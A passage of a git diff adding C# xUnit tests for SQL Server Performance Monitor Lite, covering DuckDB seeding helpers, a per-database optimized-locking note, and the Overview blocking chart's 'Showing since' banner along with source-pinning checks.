+        Assert.Equal(first.Select(r => r.TableName), second.Select(r => r.TableName));
+    }
+
+    private async Task SeedQuietAsync()
+    {
+        var capture = DateTime.UtcNow;
+        var seedConn = await SeedConnectionAsync();
+        using var batch = new SeedBatch(_duckDb, seedConn);
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = seedConn.CreateCommand();
+        cmd.CommandText = @"INSERT INTO index_object_stats
+            (collection_id, collection_time, server_id, server_name, sqlserver_start_time, database_name, database_id,
+             schema_name, object_id, table_name, index_id, index_name, index_type_desc, reserved_mb, used_mb, total_rows,
+             row_lock_wait_count, row_lock_wait_in_ms, page_lock_wait_count, page_lock_wait_in_ms,
+             index_lock_promotion_count, page_latch_wait_in_ms, page_io_latch_wait_in_ms)
+            VALUES ($1,$2,$3,$4,$5,'QuietDb',7,'dbo',6000,'Quiet',1,'PK_Quiet','CLUSTERED',1,1,100,0,0,0,0,0,0,0)";
+        void P(object v) => cmd.Parameters.Add(new DuckDBParameter { Value = v });
+        P(_nextId--); P(capture); P(_serverId); P(ServerName); P(capture.AddDays(-10));
+        await cmd.ExecuteNonQueryAsync();
+        batch.Commit();
+    }
+
+    private async Task SeedTiedAsync()
+    {
+        var capture = DateTime.UtcNow;
+        var seedConn = await SeedConnectionAsync();
+        using var batch = new SeedBatch(_duckDb, seedConn);
+        for (var i = 9; i >= 0; i--)
+        {
+            using var readLock = _duckDb.AcquireReadLock();
+            using var cmd = seedConn.CreateCommand();
+            cmd.CommandText = @"INSERT INTO index_object_stats
+                (collection_id, collection_time, server_id, server_name, sqlserver_start_time, database_name, database_id,
+                 schema_name, object_id, table_name, index_id, index_name, index_type_desc, reserved_mb, used_mb, total_rows,
+                 row_lock_wait_count, row_lock_wait_in_ms, page_lock_wait_count, page_lock_wait_in_ms,
+                 index_lock_promotion_count, page_latch_wait_in_ms, page_io_latch_wait_in_ms)
+                VALUES ($1,$2,$3,$4,$5,'TieDb',7,'dbo',$6,$7,1,$8,'CLUSTERED',1,1,100,0,0,0,0,$9,0,0)";
+            void P(object v) => cmd.Parameters.Add(new DuckDBParameter { Value = v });
+            P(_nextId--); P(capture); P(_serverId); P(ServerName); P(capture.AddDays(-10));
+            P(5000 + i); P($"Tied{i:D2}"); P($"PK_Tied{i:D2}"); P(1L);
+            await cmd.ExecuteNonQueryAsync();
+        }
+
+        batch.Commit();
+    }
+
     private async Task SeedAsync()
     {
         var capture = DateTime.UtcNow;
         var startTime = capture.AddDays(-10);
 
+        // One transaction for the 200 rows (#5208), committed when this method returns and before the tool reads.
+        var seedConn = await SeedConnectionAsync();
+        using var batch = new SeedBatch(_duckDb, seedConn);
+
         for (var i = 0; i < SeededRowCount; i++)
         {
             var dbIndex = i % DatabaseCount;
@@ -148,6 +301,8 @@ private async Task SeedAsync()
             P(indexLockPromotionCount); P(pageLatchWaitMs); P(pageIoLatchWaitMs);
             await cmd.ExecuteNonQueryAsync();
         }
+
+        batch.Commit();
     }
 
     private async Task<DuckDBConnection> SeedConnectionAsync()
diff --git a/Lite.Tests/OnLoadRecaptureScheduleTests.cs b/Lite.Tests/OnLoadRecaptureScheduleTests.cs
index dc29a64aa7..d463a211be 100644
--- a/Lite.Tests/OnLoadRecaptureScheduleTests.cs
+++ b/Lite.Tests/OnLoadRecaptureScheduleTests.cs
@@ -23,7 +23,8 @@ namespace Lite.Tests;
 /// worker, so a server tab left open for weeks still re-captures its config snapshot (#3930) and a trace flag
 /// turned off since the last connect eventually clears (#3929) instead of only on the next reconnect. The
 /// tab-open path itself (<see cref="PerformanceMonitorLite.Services.RemoteCollectorService.RunAllCollectorsForServerAsync"/>)
-/// is untouched - it already runs every enabled collector unconditionally, on-load included.
+/// still runs every enabled on-load collector, as its connect capture; since #4938 it leaves a collector that runs
+/// once a day or less often to its due time instead of running it on every tab open.
 /// </summary>
 public sealed class OnLoadRecaptureScheduleTests : IDisposable
 {
diff --git a/Lite.Tests/OperatorRemediationLiteDivergencePinTests.cs b/Lite.Tests/OperatorRemediationLiteDivergencePinTests.cs
index 89daa6d958..21f1d01ce2 100644
--- a/Lite.Tests/OperatorRemediationLiteDivergencePinTests.cs
+++ b/Lite.Tests/OperatorRemediationLiteDivergencePinTests.cs
@@ -41,6 +41,8 @@ namespace Lite.Tests;
 /// <para>It is deliberately NOT a claim that Lite should never act. It is a claim that today it does not,
 /// on a stated basis, and that changing either fact is a visible edit here.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
+[Trait("Stage", "Guard")]
 public sealed class OperatorRemediationLiteDivergencePinTests
 {
     /// <summary>
diff --git a/Lite.Tests/OptimizedLockingNoteTests.cs b/Lite.Tests/OptimizedLockingNoteTests.cs
index 17c90f5411..9202713145 100644
--- a/Lite.Tests/OptimizedLockingNoteTests.cs
+++ b/Lite.Tests/OptimizedLockingNoteTests.cs
@@ -83,6 +83,31 @@ public async Task TheNote_RidesOnlyWhenTheNewestSnapshotHasTheFlagOnForSomeDatab
         Assert.Null(await NoteAsync());
     }
 
+    /// <summary>
+    /// #5372 M2: with a database chosen, only that database's flag counts (Darling's twin does the same), so the call never
+    /// carries a note about a database it does not show, and the `empty` status for a database with no contention carries
+    /// the note when THAT database has the flag on.
+    /// </summary>
+    [Fact]
+    public async Task WithADatabaseChosen_TheNoteFollowsThatDatabasesFlagOnly()
+    {
+        var t = DateTime.UtcNow.AddMinutes(-30);
+        await SeedContendedIndexAsync(t);
+        await SeedConfigAsync(t, "Sales", false);
+        await SeedConfigAsync(t, "Billing", true);
+
+        using (var sales = JsonDocument.Parse(await McpObjectStatsTools.GetObjectLocking(_dataService, _serverManager, ServerName, database_name: "Sales")))
+            Assert.Equal(JsonValueKind.Null, sales.RootElement.GetProperty("optimized_locking_note").ValueKind);
+
+        using (var all = JsonDocument.Parse(await McpObjectStatsTools.GetObjectLocking(_dataService, _serverManager, ServerName)))
+            Assert.Equal(OptimizedLockingNote.Text, all.RootElement.GetProperty("optimized_locking_note").GetString());
+
+        using var billing = JsonDocument.Parse(await McpObjectStatsTools.GetObjectLocking(_dataService, _serverManager, ServerName, database_name: "Billing"));
+        Assert.Equal("empty", billing.RootElement.GetProperty("status").GetString());
+        Assert.Equal(OptimizedLockingNote.Text,
+            billing.RootElement.GetProperty("hints").GetProperty("optimized_locking_note").GetString());
+    }
+
     [Fact]
     public void OptimizedLockingDisplay_NullIsUnknown_NotNo()
     {
diff --git a/Lite.Tests/OverviewBlockingLaneDataStartLiveTests.cs b/Lite.Tests/OverviewBlockingLaneDataStartLiveTests.cs
new file mode 100644
index 0000000000..445807dc59
--- /dev/null
+++ b/Lite.Tests/OverviewBlockingLaneDataStartLiveTests.cs
@@ -0,0 +1,354 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Threading;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Controls;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// The Overview blocking chart's "Showing since" note (#4966) against a real store, through the same step the control runs
+/// (<see cref="LiteBlockingLaneDataStart.ShowAsync"/>): the notice, the quiet start, one series answering, a failed probe and a short window.
+/// Anchors are fixed so the tests never straddle a day boundary.
+/// </summary>
+[Collection("server-time-helper")]
+public sealed class OverviewBlockingLaneDataStartLiveTests : IDisposable
+{
+    private const int ServerId = 4966;
+    private const string ServerName = "OverviewBlockingServer";
+    private static readonly DateTime End = new(2026, 9, 20, 12, 0, 0, DateTimeKind.Unspecified);
+    private readonly string _tempDir;
+    private readonly DuckDbInitializer _duckDb;
+    private long _nextId = 1;
+
+    public OverviewBlockingLaneDataStartLiveTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "OverviewBlockingLane_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(_tempDir);
+        _duckDb = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"));
+    }
+
+    public void Dispose()
+    {
+        _duckDb.Dispose();
+        try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); }
+        catch { /* best-effort cleanup */ }
+    }
+
+    private static string CollectorOf(QueryWindowRelation relation) =>
+        relation == QueryWindowRelation.BlockedProcessReports ? "blocked_process_report" : "deadlocks";
+
+    private async Task SeedLogRunsAsync(QueryWindowRelation relation, DateTime firstUtc, DateTime lastUtc)
+    {
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT $1 + row_number() OVER (), $2, $3, $4, g.t, 12, 'SUCCESS', 0
+FROM generate_series($5::TIMESTAMP, $6::TIMESTAMP, INTERVAL 30 MINUTE) AS g(t)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = CollectorOf(relation) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = firstUtc });
+        cmd.Parameters.Add(new DuckDBParameter { Value = lastUtc });
+        _nextId += await cmd.ExecuteNonQueryAsync() + 1;
+    }
+
+    private static string SinceText(DateTime instant) =>
+        "Showing since " + PerformanceMonitor.Ui.DisplayZone.Format(instant, TimeZoneInfo.Utc, "yyyy-MM-dd HH:mm:ss");
+
+    private static TrendPoint Bar(DateTime at, int count = 1) => new() { Time = at, Count = count };
+
+    private async Task<(bool Visible, string Text)> NoteAsync(
+        DateTime startUtc, DateTime endUtc, IEnumerable<TrendPoint> blockingBars, IEnumerable<TrendPoint> deadlockBars,
+        Func<QueryWindowRelation, Task<DateTime?>>? floorOf = null)
+    {
+        var service = new LocalDataService(_duckDb);
+        floorOf ??= relation => service.GetQueryWindowFloorAsync(relation, ServerId, startUtc, endUtc);
+        /* The real note step, end to end, on an STA thread: the banner is a WPF object. No sync context there, so the blocking wait is safe. */
+        return StaTestThread.Run(() =>
+        {
+            var banner = new System.Windows.Controls.TextBlock();
+            LiteBlockingLaneDataStart.ShowAsync(banner, floorOf, startUtc, endUtc, blockingBars, deadlockBars, TimeZoneInfo.Utc).GetAwaiter().GetResult();
+            return (banner.Visibility == System.Windows.Visibility.Visible, banner.Text);
+        });
+    }
+
+    /// <summary>Blocking was collected from 2 days back, deadlocks from 3: the one note names the later start, in the chart's zone.</summary>
+    [Fact]
+    public async Task Notice_NamesTheLaterOfTheTwoSeriesStarts()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var blockingFrom = End.AddDays(-2);
+        await SeedLogRunsAsync(QueryWindowRelation.BlockedProcessReports, blockingFrom, End);
+        await SeedLogRunsAsync(QueryWindowRelation.Deadlocks, End.AddDays(-3), End);
+
+        var (visible, text) = await NoteAsync(End.AddDays(-7), End, [], []);
+
+        Assert.True(visible);
+        Assert.Equal(SinceText(blockingFrom), text);
+    }
+
+    /// <summary>Both collectors ran across the whole range and the first bars come late: no note, and a zero bucket changes nothing.</summary>
+    [Fact]
+    public async Task QuietStart_BothCollectorsCoveredTheRange_ShowsNoNote()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedLogRunsAsync(QueryWindowRelation.BlockedProcessReports, End.AddDays(-9), End);
+        await SeedLogRunsAsync(QueryWindowRelation.Deadlocks, End.AddDays(-9), End);
+
+        var (visible, text) = await NoteAsync(
+            End.AddDays(-7), End, [Bar(End.AddDays(-7).AddHours(5)), Bar(End.AddHours(-1))], [Bar(End.AddDays(-7), 0), Bar(End.AddHours(-2))]);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>One collector covers the range and the other began 2 days ago: the later start is named, not the covered one.</summary>
+    [Fact]
+    public async Task OneSeriesCovered_TheOtherStartedLate_NamesTheLateOne()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var lateFrom = End.AddDays(-2);
+        await SeedLogRunsAsync(QueryWindowRelation.BlockedProcessReports, End.AddDays(-9), End);
+        await SeedLogRunsAsync(QueryWindowRelation.Deadlocks, lateFrom, End);
+
+        var (visible, text) = await NoteAsync(End.AddDays(-7), End, [], []);
+
+        Assert.True(visible);
+        Assert.Equal(SinceText(lateFrom), text);
+    }
+
+    /// <summary>A probe that throws costs only its own series' start; the other still names the note.</summary>
+    [Fact]
+    public async Task AFailedProbe_CostsOnlyItsSeries()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var from = End.AddDays(-2);
+        await SeedLogRunsAsync(QueryWindowRelation.Deadlocks, from, End);
+        var service = new LocalDataService(_duckDb);
+
+        var (visible, text) = await NoteAsync(End.AddDays(-7), End, [], [],
+            relation => relation == QueryWindowRelation.BlockedProcessReports
+                ? Task.FromException<DateTime?>(new InvalidOperationException("probe failed"))
+                : service.GetQueryWindowFloorAsync(relation, ServerId, End.AddDays(-7), End));
+
+        Assert.True(visible);
+        Assert.Equal(SinceText(from), text);
+    }
+
+    /// <summary>A failed blocking probe with a late bar names no start; the covered deadlock series starts at the window start, so no note.</summary>
+    [Fact]
+    public async Task AFailedProbe_WithALateBar_AndACoveredOtherSeries_ShowsNoNote()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedLogRunsAsync(QueryWindowRelation.Deadlocks, End.AddDays(-9), End);
+        var service = new LocalDataService(_duckDb);
+
+        var (visible, text) = await NoteAsync(End.AddDays(-7), End, [Bar(End.AddHours(-1))], [],
+            relation => relation == QueryWindowRelation.BlockedProcessReports
+                ? Task.FromException<DateTime?>(new InvalidOperationException("probe failed"))
+                : service.GetQueryWindowFloorAsync(relation, ServerId, End.AddDays(-7), End));
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>#5098: a threshold read that throws costs only the refinement: the blocking series still answers with the XE floor combined with the earliest report.</summary>
+    [Fact]
+    public async Task AThrowingThresholdRead_KeepsTheXeOnlyAnswer_NotAFailedSeries()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var from = End.AddDays(-3);
+        await SeedLogRunsAsync(QueryWindowRelation.BlockedProcessReports, from, End);
+        await SeedLogRunsAsync(QueryWindowRelation.Deadlocks, End.AddDays(-9), End);
+        await SeedXeReportAsync(from.AddHours(2));
+        var service = new LocalDataService(_duckDb);
+        var startUtc = End.AddDays(-7);
+
+        var start = await LiteBlockingLaneDataStart.StartAsync(
+            relation => service.GetQueryWindowFloorAsync(relation, ServerId, startUtc, End), startUtc, End, [], [],
+            () => service.HasBlockedProcessReportsInWindowAsync(ServerId, startUtc, End),
+            () => service.GetQueryWindowFloorAsync(QueryWindowRelation.BlockedProcessReports, ServerId, startUtc, End, includeAlsoCovered: false),
+            earliestReportOf: () => service.GetEarliestBlockedProcessReportInWindowAsync(ServerId, startUtc, End),
+            thresholdOf: () => Task.FromException<LiteBlockingLaneDataStart.BlockedProcessThreshold>(new InvalidOperationException("threshold read failed")));
+
+        Assert.Equal(from, start);
+    }
+
+    private Task<(bool Visible, string Text)> LaneNoteWithSourceCheckAsync(DateTime startUtc, DateTime endUtc)
+    {
+        var service = new LocalDataService(_duckDb);
+        return Task.FromResult(StaTestThread.Run(() =>
+        {
+            var banner = new System.Windows.Controls.TextBlock();
+            LiteBlockingLaneDataStart.ShowAsync(
+                banner, relation => service.GetQueryWindowFloorAsync(relation, ServerId, startUtc, endUtc), startUtc, endUtc, [], [], TimeZoneInfo.Utc,
+                () => service.HasBlockedProcessReportsInWindowAsync(ServerId, startUtc, endUtc),
+                () => service.GetQueryWindowFloorAsync(QueryWindowRelation.BlockedProcessReports, ServerId, startUtc, endUtc, includeAlsoCovered: false),
+                earliestReportOf: () => service.GetEarliestBlockedProcessReportInWindowAsync(ServerId, startUtc, endUtc),
+                thresholdOf: async () =>
+                {
+                    var (on, first, zero) = await service.GetBlockedProcessThresholdOnAsync(ServerId, startUtc, endUtc);
+                    return new LiteBlockingLaneDataStart.BlockedProcessThreshold(on, first, zero);
+                }).GetAwaiter().GetResult();
+            return (banner.Visibility == System.Windows.Visibility.Visible, banner.Text);
+        }));
+    }
+
+    private async Task SeedDmvCoverageAsync(DateTime firstUtc, DateTime lastUtc)
+    {
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT $1 + row_number() OVER (), $2, $3, 'dmv_blocking_snapshot', g.t, 12, 'SUCCESS', 0
+FROM generate_series($4::TIMESTAMP, $5::TIMESTAMP, INTERVAL 30 MINUTE) AS g(t)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = firstUtc });
+        cmd.Parameters.Add(new DuckDBParameter { Value = lastUtc });
+        _nextId += await cmd.ExecuteNonQueryAsync() + 1;
+    }
+
+    private async Task SeedXeReportAsync(DateTime at)
+    {
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO blocked_process_reports (blocked_report_id, collection_time, server_id, server_name, event_time)
+VALUES ($1, $2, $3, $4, $2)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
+        cmd.Parameters.Add(new DuckDBParameter { Value = at });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    /// <summary>#5098: the DMV covers the range, the XE collector began 2 days back and its reports are in the window: the lane names the XE start.</summary>
+    [Fact]
+    public async Task DmvCoversTheRange_XeStartsMidway_NamesTheXeStart()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var xeFrom = End.AddDays(-2);
+        await SeedDmvCoverageAsync(End.AddDays(-9), End);
+        await SeedLogRunsAsync(QueryWindowRelation.BlockedProcessReports, xeFrom, End);
+        await SeedLogRunsAsync(QueryWindowRelation.Deadlocks, End.AddDays(-9), End);
+        await SeedXeReportAsync(xeFrom.AddHours(3));
+
+        var (visible, text) = await LaneNoteWithSourceCheckAsync(End.AddDays(-7), End);
+
+        Assert.True(visible);
+        Assert.Equal(SinceText(xeFrom), text);
+    }
+
+    private async Task SeedThresholdAsync(DateTime at, int valueInUse)
+    {
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO server_config (config_id, capture_time, server_id, server_name, configuration_name, value_configured, value_in_use, is_dynamic, is_advanced)
+VALUES ($1, $2, $3, $4, 'blocked process threshold (s)', $5, $5, true, true)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
+        cmd.Parameters.Add(new DuckDBParameter { Value = DateTime.SpecifyKind(at, DateTimeKind.Unspecified) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = valueInUse });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    /// <summary>#5098: the collector covers the range, the threshold went on midway and the first report is later: the note names the first nonzero snapshot.</summary>
+    [Fact]
+    public async Task ThresholdWentOnMidway_NamesTheFirstNonzeroSnapshot()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedLogRunsAsync(QueryWindowRelation.BlockedProcessReports, End.AddDays(-9), End);
+        await SeedLogRunsAsync(QueryWindowRelation.Deadlocks, End.AddDays(-9), End);
+        await SeedThresholdAsync(End.AddDays(-8), 0);
+        await SeedThresholdAsync(End.AddDays(-4), 5);
+        await SeedXeReportAsync(End.AddDays(-2));
+
+        var (visible, text) = await LaneNoteWithSourceCheckAsync(End.AddDays(-7), End);
+
+        Assert.True(visible);
+        Assert.Equal(SinceText(End.AddDays(-4)), text);
+    }
+
+    /// <summary>#5098: no server_config rows: the collector's coverage answers alone, as before the threshold was read.</summary>
+    [Fact]
+    public async Task NoServerConfigRows_IsAsBefore_ShowsNoNote()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedLogRunsAsync(QueryWindowRelation.BlockedProcessReports, End.AddDays(-9), End);
+        await SeedLogRunsAsync(QueryWindowRelation.Deadlocks, End.AddDays(-9), End);
+        await SeedXeReportAsync(End.AddDays(-2));
+
+        var (visible, _) = await LaneNoteWithSourceCheckAsync(End.AddDays(-7), End);
+
+        Assert.False(visible);
+    }
+
+    /// <summary>#5098: the XE collector covers the whole range: no note.</summary>
+    [Fact]
+    public async Task XeCoversTheRange_ShowsNoNote()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedLogRunsAsync(QueryWindowRelation.BlockedProcessReports, End.AddDays(-9), End);
+        await SeedLogRunsAsync(QueryWindowRelation.Deadlocks, End.AddDays(-9), End);
+        await SeedXeReportAsync(End.AddDays(-7).AddHours(5));
+
+        var (visible, _) = await LaneNoteWithSourceCheckAsync(End.AddDays(-7), End);
+
+        Assert.False(visible);
+    }
+
+    /// <summary>#5098: no XE report in the window (DMV only): the two-source probe, as before, so a covering DMV means no note.</summary>
+    [Fact]
+    public async Task DmvOnly_IsAsBefore_ShowsNoNote()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedDmvCoverageAsync(End.AddDays(-9), End);
+        await SeedLogRunsAsync(QueryWindowRelation.Deadlocks, End.AddDays(-9), End);
+
+        var (visible, _) = await LaneNoteWithSourceCheckAsync(End.AddDays(-7), End);
+
+        Assert.False(visible);
+    }
+
+    /// <summary>A window of 90 minutes or less starts no probe, even on a store that would earn a note.</summary>
+    [Fact]
+    public async Task AShortWindow_StartsNoProbe_AndShowsNoNote()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var probes = 0;
+
+        var (visible, _) = await NoteAsync(End.AddMinutes(-90), End, [], [], relation => { probes++; return Task.FromResult<DateTime?>(End); });
+
+        Assert.False(visible);
+        Assert.Equal(0, probes);
+    }
+
+}
diff --git a/Lite.Tests/OverviewBlockingLaneDataStartPinTests.cs b/Lite.Tests/OverviewBlockingLaneDataStartPinTests.cs
new file mode 100644
index 0000000000..861e4047ce
--- /dev/null
+++ b/Lite.Tests/OverviewBlockingLaneDataStartPinTests.cs
@@ -0,0 +1,108 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// How the Overview's blocking chart is wired to say where its data starts (#4966), read from the source because the control needs a
+/// window to run. The choice is in <c>OverviewBlockingLaneDataStartTests</c>, the notice in <c>OverviewBlockingLaneDataStartLiveTests</c>.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class OverviewBlockingLaneDataStartPinTests
+{
+    private static string Code() => Read("CorrelatedTimelineLanesControl.xaml.cs");
+
+    private static string Xaml() => Read("CorrelatedTimelineLanesControl.xaml");
+
+    private static string Step() => Read("LiteBlockingLaneDataStart.cs");
+
+    private static string Between(string source, string from, string to)
+    {
+        var start = source.IndexOf(from, StringComparison.Ordinal);
+        Assert.True(start >= 0, from + " was not found");
+        var end = source.IndexOf(to, start, StringComparison.Ordinal);
+        Assert.True(end > start, to + " was not found after " + from);
+        return source[start..end];
+    }
+
+    [Fact]
+    public void RefreshAsync_RunsTheNoteAfterTheLanesAreDrawn_OutsideTheReadsWhenAll()
+    {
+        var refresh = Between(Code(), "public async Task RefreshAsync(", "private async Task ShowBlockingLaneDataStartAsync(");
+
+        var whenAll = Between(refresh, "await Task.WhenAll(", ");");
+        Assert.DoesNotContain("DataStart", whenAll, StringComparison.Ordinal);
+
+        var drawn = refresh.IndexOf("UpdateBlockingLane(blockingData", StringComparison.Ordinal);
+        var ghost = refresh.IndexOf("AddGhostLine(BlockingChart", StringComparison.Ordinal);
+        var axes = refresh.IndexOf("SyncXAxes(hoursBack", StringComparison.Ordinal);
+        var note = refresh.IndexOf("await ShowBlockingLaneDataStartAsync(", StringComparison.Ordinal);
+        Assert.True(drawn > 0 && ghost > drawn && axes > ghost && note > axes, "the lanes, ghost lines and axes come before the note");
+        Assert.Single(Regex.Matches(refresh, "ShowBlockingLaneDataStartAsync"));
+    }
+
+    [Fact]
+    public void TheWindow_IsTheOneTheReadsTake_AndTheNoteIsFedFromBothSeriesBars()
+    {
+        var refresh = Between(Code(), "public async Task RefreshAsync(", "private async Task ShowBlockingLaneDataStartAsync(");
+        Assert.Contains("var (windowStartUtc, windowEndUtc) = LocalDataService.GetTimeRange(hoursBack, fromDate, toDate, asOfUtc: null);", refresh, StringComparison.Ordinal);
+        Assert.Contains("GetBlockingTrendAsync(_serverId, hoursBack, fromDate, toDate)", refresh, StringComparison.Ordinal);
+        Assert.Contains("GetDeadlockTrendAsync(_serverId, hoursBack, fromDate, toDate)", refresh, StringComparison.Ordinal);
+
+        var call = Between(refresh, "await ShowBlockingLaneDataStartAsync(", ");");
+        Assert.Contains("windowStartUtc, windowEndUtc", call, StringComparison.Ordinal);
+        Assert.Contains("blockingTask.Result", call, StringComparison.Ordinal);
+        Assert.Contains("deadlockTask.Result", call, StringComparison.Ordinal);
+
+        var wrapper = Between(Code(), "private async Task ShowBlockingLaneDataStartAsync(", "private void UpdateBlockingLane(");
+        Assert.Contains("LiteBlockingLaneDataStart.ShowAsync(", wrapper, StringComparison.Ordinal);
+        Assert.Contains("BlockingLaneDataStartBanner", wrapper, StringComparison.Ordinal);
+        Assert.Contains("GetQueryWindowFloorAsync(relation, _serverId, startUtc, endUtc)", wrapper, StringComparison.Ordinal);
+        Assert.Contains("_displayZone()", wrapper, StringComparison.Ordinal);
+        /* #5098: a blocking read that drew the XE reports names the XE collector's start alone. */
+        Assert.Contains("HasBlockedProcessReportsInWindowAsync(_serverId, startUtc, endUtc)", wrapper, StringComparison.Ordinal);
+        Assert.Contains("GetQueryWindowFloorAsync(QueryWindowRelation.BlockedProcessReports, _serverId, startUtc, endUtc, includeAlsoCovered: false)", wrapper, StringComparison.Ordinal);
+        /* #5098: the earliest report and the threshold's history ride the same seam, combined by the step. */
+        Assert.Contains("earliestReportOf: () => Task.Run(() => _dataService!.GetEarliestBlockedProcessReportInWindowAsync(_serverId, startUtc, endUtc))", wrapper, StringComparison.Ordinal);
+        Assert.Contains("_dataService!.GetBlockedProcessThresholdOnAsync(_serverId, startUtc, endUtc)", wrapper, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheStep_ProbesBothRelations_ThroughTheShortWindowGuard_AndWordsTheBanner()
+    {
+        var step = Between(Step(), "internal static async Task ShowAsync(", "/// <summary>One series' start:");
+        Assert.DoesNotContain("ProbeWindowFloorOrNullAsync", step, StringComparison.Ordinal);
+        Assert.True(step.IndexOf("McpQueryTools.CanWindowBeTruncated(startUtc, endUtc)", StringComparison.Ordinal)
+            < step.IndexOf("ProbeBlockingAsync(floorOf, blockingReadTookXe, xeOnlyBlockingFloorOf, earliestReportOf, thresholdOf)", StringComparison.Ordinal));
+        Assert.Contains("Probe(floorOf, QueryWindowRelation.Deadlocks)", step, StringComparison.Ordinal);
+        Assert.Contains("StartAsync(floorOf, startUtc, endUtc, blockingBars, deadlockBars, blockingReadTookXe, xeOnlyBlockingFloorOf, earliestReportOf, thresholdOf)", step, StringComparison.Ordinal);
+        Assert.Contains("ChooseAsync(blockingProbe, deadlockProbe, blockingBars, deadlockBars)", step, StringComparison.Ordinal);
+        Assert.Contains("ServerTab.ApplyWindowFloorToBanner(banner, start, startUtc, zone)", step, StringComparison.Ordinal);
+        Assert.Contains("bar.Count > 0", Step(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheBanner_IsDeclaredInAnAutoRowAboveTheChart_AndOnlyOnTheBlockingLane()
+    {
+        var chart = Between(Xaml(), "<!-- Lane 3: Blocking -->", "<!-- Lane 4");
+        Assert.Contains("<RowDefinition Height=\"Auto\"/>", chart, StringComparison.Ordinal);
+        Assert.Matches(@"x:Name=""BlockingLaneDataStartBanner""\s+Visibility=""Collapsed""", chart);
+        Assert.Contains("Foreground=\"{DynamicResource ForegroundBrush}\"", chart, StringComparison.Ordinal);
+        Assert.Contains("<ScottPlot:WpfPlot Grid.Row=\"1\" Grid.Column=\"1\" x:Name=\"BlockingChart\"/>", chart, StringComparison.Ordinal);
+        Assert.Single(Regex.Matches(Xaml(), "DataStartBanner"));
+    }
+
+    private static string Read(string name, [CallerFilePath] string thisFile = "") =>
+        File.ReadAllText(Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", "Lite", "Controls", name))).ReplaceLineEndings("\n");
+}
diff --git a/Lite.Tests/OverviewBlockingLaneDataStartTests.cs b/Lite.Tests/OverviewBlockingLaneDataStartTests.cs
new file mode 100644
index 0000000000..6afcda6812
--- /dev/null
+++ b/Lite.Tests/OverviewBlockingLaneDataStartTests.cs
